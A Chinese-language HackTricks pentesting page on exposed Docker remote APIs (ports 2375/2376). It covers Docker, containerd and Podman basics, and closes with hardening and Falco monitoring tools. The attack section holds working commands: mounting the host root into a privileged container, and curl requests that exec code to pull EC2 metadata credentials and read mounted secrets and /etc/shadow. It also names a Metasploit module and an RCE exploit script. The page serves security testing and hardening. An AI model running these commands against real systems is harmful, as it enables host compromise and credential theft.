2375, 2376 Pentesting Docker
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Docker 基础
什么是
Docker 是 容器化行业 的 前沿平台,引领 持续创新。它便于从 传统到未来 的应用轻松创建与分发,并确保这些应用在各种环境中的 安全部署。
基本 Docker 架构
- containerd: 这是容器的 核心运行时,负责对容器的 生命周期管理。这包括处理 镜像传输和存储,以及负责容器的 执行、监控与网络。关于 containerd 的 更多详细见解 将在后文 进一步探讨。
- The container-shim 在处理 无头容器 时充当重要的 中介,在容器初始化后无缝接替 runc 的职责。
- runc: 以其 轻量且通用的容器运行时 能力著称,runc 遵循 OCI 标准。containerd 使用它来根据 OCI 指南 启动和管理容器,它由最初的 libcontainer 演变而来。
- grpc 在 containerd 与 docker-engine 之间用于 促进通信,确保 高效交互。
- The OCI 在维护运行时和镜像的 OCI 规范 方面至关重要,最新版本的 Docker 同时 符合 OCI 镜像和运行时 标准。
Basic commands
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd 是专门为像 Docker and Kubernetes 等容器平台的需求开发的。它旨在通过抽象操作系统特定的功能和系统调用,来简化容器在各种操作系统(包括 Linux、Windows、Solaris 等)上的执行。Containerd 的目标是只包含用户所需的必要功能,尽量省去不必要的组件;不过,完全实现这一目标被认为具有挑战性。
一个关键的设计决策是 Containerd does not handle networking。网络被视为分布式系统中的关键要素,具有像 软件定义网络 (SDN) 和 服务发现 这样的复杂性,并且在不同平台之间差异很大。因此,Containerd 将网络相关的管理留给它所支持的平台来处理。
虽然 Docker utilizes Containerd 来运行容器,但需要注意的是 Containerd 仅支持 Docker 功能的子集。具体来说,Containerd 缺少 Docker 中的网络管理能力,并且不能直接支持创建 Docker swarms。这个区别突出了 Containerd 作为容器运行时环境的专注角色,它将更专门的功能委托给与之集成的平台来实现。
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman 是一个遵循 Open Container Initiative (OCI) 标准的开源容器引擎,由 Red Hat 开发和维护。与 Docker 相比,Podman 有几个显著特点,尤其是其无守护进程架构(daemonless architecture)和对无 root 权限容器(rootless containers)的支持,使用户能够在不具备 root 权限的情况下运行容器。
Podman 设计上兼容 Docker 的 API,允许使用 Docker CLI 命令。其生态系统也支持类似工具,例如用于构建镜像的 Buildah 和用于镜像操作(如 push、pull、inspect)的 Skopeo。有关这些工具的更多信息可见其 GitHub page。
Key Differences
- Architecture: 与 Docker 的客户端-服务器模型及其后台守护进程不同,Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户权限运行,通过消除对 root 访问的需求来增强安全性。
- Systemd Integration: Podman 与 systemd 集成以管理容器,允许通过 systemd 单元来管理容器。这与 Docker 主要使用 systemd 来管理 Docker 守护进程的方式形成对比。
- Rootless Containers: Podman 的一个关键特性是能够以启动用户的权限运行容器。这种方法将容器被攻破的风险降到最低,确保攻击者只能获得被侵入用户的权限,而非 root 权限。
Podman 的方法为 Docker 提供了一个安全且灵活的替代方案,强调用户权限管理并兼容现有的 Docker 工作流。
Tip
注意,由于 podam 旨在支持与 docker 相同的 API,你可以对 podman 使用与 docker 相同的命令,例如:
podman --version podman info pdoman images ls podman ls
基本信息
远程 API 在启用时默认运行于 2375 端口。该服务默认不要求认证,允许攻击者启动一个具有特权的 docker 容器。通过使用远程 API,可以将宿主机 /(根目录)附加到容器中并读/写宿主环境的文件。
默认端口: 2375
PORT STATE SERVICE
2375/tcp open docker
Enumeration
Manual
注意:为了 enumerate docker API,你可以使用 docker 命令或 curl,如下示例:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
如果你可以 使用 docker 命令联系远程 docker API,你就可以 执行 任何在 docker commands previously commented 中之前提到的命令来与该服务交互。
Tip
你可以
export DOCKER_HOST="tcp://localhost:2375"并 避免 在 docker 命令中使用-H参数
Fast privilege escalation
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
有时你会看到 2376 在 TLS 端点开放。我没能用 docker client 连接到它,但可以用 curl 连接。
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
如果你想了解更多相关信息,我复制命令的来源处有更多内容: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Automatic
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
攻陷
在以下页面,你可以找到escape from a container的方法:
滥用这一点可以实现从容器中逃逸;你可以在远程机器上运行一个弱容器,从中逃逸并攻陷该机器:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Privilege Escalation
如果你在使用 docker 的主机中,你可以read this information to try to elevate privileges。
在运行的 Docker 容器中发现 secrets
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
检查 env (环境变量部分) 中的 secrets,你可能会发现:
- 密码。
- IP 地址。
- 端口。
- 路径。
- 其他……。
如果你想提取文件:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
保护你的 Docker
保护 Docker 的安装和使用
- 你可以使用工具 https://github.com/docker/docker-bench-security 来检查你当前的 Docker 安装。
./docker-bench-security.sh- 你可以使用工具 https://github.com/kost/dockscan 来检查你当前的 Docker 安装。
dockscan -v unix:///var/run/docker.sock- 你可以使用工具 https://github.com/genuinetools/amicontained 来查看容器在使用不同安全选项运行时将拥有的权限。这有助于了解使用某些安全选项运行容器的影响:
docker run --rm -it r.j3ss.co/amicontaineddocker run --rm -it --pid host r.j3ss.co/amicontaineddocker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
保护 Docker 镜像
- 你可以使用 https://github.com/quay/clair 的 docker 镜像来扫描你的其他 docker 镜像并查找漏洞。
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
保护 Dockerfile
- 你可以使用工具 https://github.com/buddy-works/dockerfile-linter 来 检查你的 Dockerfile 并发现各种错误配置。每个错误配置都有一个 ID,你可以在这里 https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md 找到如何修复它们。
dockerfilelinter -f Dockerfile
.png)
- 你可以使用工具 https://github.com/replicatedhq/dockerfilelint 来 检查你的 Dockerfile 并发现各种错误配置。
dockerfilelint Dockerfile
.png)
- 你可以使用工具 https://github.com/RedCoolBeans/dockerlint 来 检查你的 Dockerfile 并发现各种错误配置。
dockerlint Dockerfile
.png)
- 你可以使用工具 https://github.com/hadolint/hadolint 来 检查你的 Dockerfile 并发现各种错误配置。
hadolint Dockerfile
.png)
记录可疑活动
- 你可以使用工具 https://github.com/falcosecurity/falco 来检测运行中的容器中的 可疑行为。
- 注意在下面的输出片段中,Falco 编译并插入一个内核模块。之后,它加载规则并开始记录可疑活动。在这个例子中,它检测到启动了 2 个有特权的容器,其中 1 个带有敏感挂载,几秒后它检测到有一个容器中打开了一个 shell。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
监控 Docker
你可以使用 auditd 来监控 docker。
参考
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


